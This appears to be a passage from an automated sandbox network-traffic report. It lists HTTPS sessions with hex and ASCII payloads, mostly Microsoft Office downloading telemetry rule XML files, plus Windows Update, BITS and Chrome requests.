3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49748	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:19 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:19 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:19 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 338c7fbe-d01e-0028-7d3c-287896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104519Z-r1755647c66xdwzbrg67s9avs400000008ag000000004f57 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:19 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49750	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:19 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:20 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:19 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: de33ccc9-c01e-008e-25fe-267381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104519Z-17fbfdc98bbnsg5pw6rasm3q8s00000008a0000000003ebc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:20 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49751	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:20 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:20 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 67fffc2c-401e-000a-5dae-264a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104520Z-r1755647c66hxv26qums8q8fsw000000064000000000133w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:20 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49753	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:20 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:20 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 54a08b66-801e-008f-529b-272c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104520Z-r1755647c66ss75qkr31zpy1kc00000007h0000000004sg0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:20 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49754	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:20 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:20 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 0883ffbf-f01e-001f-3811-295dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104520Z-r1755647c66z67vn9nc21z11a8000000076g000000006ypf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 10:45:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49755	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:20 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:20 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:20 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 08308beb-701e-001e-43b0-26f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104520Z-17fbfdc98bbwj6cp6df5812g4s00000009fg0000000021t1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 10:45:20 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49756	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:20 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:20 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:20 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 128a8aa7-901e-005b-27fd-272005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104520Z-17fbfdc98bbgnnfwq36myy7z0g00000008f0000000003xkf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:20 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49758	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:20 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:21 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: ae9ca414-101e-008d-470d-2692e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104520Z-17fbfdc98bbl4n669ut4r27e0800000007p00000000016g1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:21 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49759	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:21 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-30 10:45:21 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=25923 Date: Wed, 30 Oct 2024 10:45:21 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49757	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:21 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=HzmNXPkHkS7mDpr&MD=NTW6bEu3 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-30 10:45:21 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: c1ce748c-b9a1-4f36-9e4a-91bd5b1a5125 MS-RequestId: f2bd6d4f-620c-4fa7-bde7-7b980721d72b MS-CV: w9SMr8dsEkiGeCFY.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 30 Oct 2024 10:45:20 GMT Connection: close Content-Length: 24490
2024-10-30 10:45:21 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-30 10:45:21 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49763	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:21 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:21 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:21 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 8e3eac93-d01e-0017-759c-27b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104521Z-17fbfdc98bb6vp4m3kc0kte9cs00000008ng000000004fmq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:21 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49761	142.250.186.174	443	3984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:21 UTC	721	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
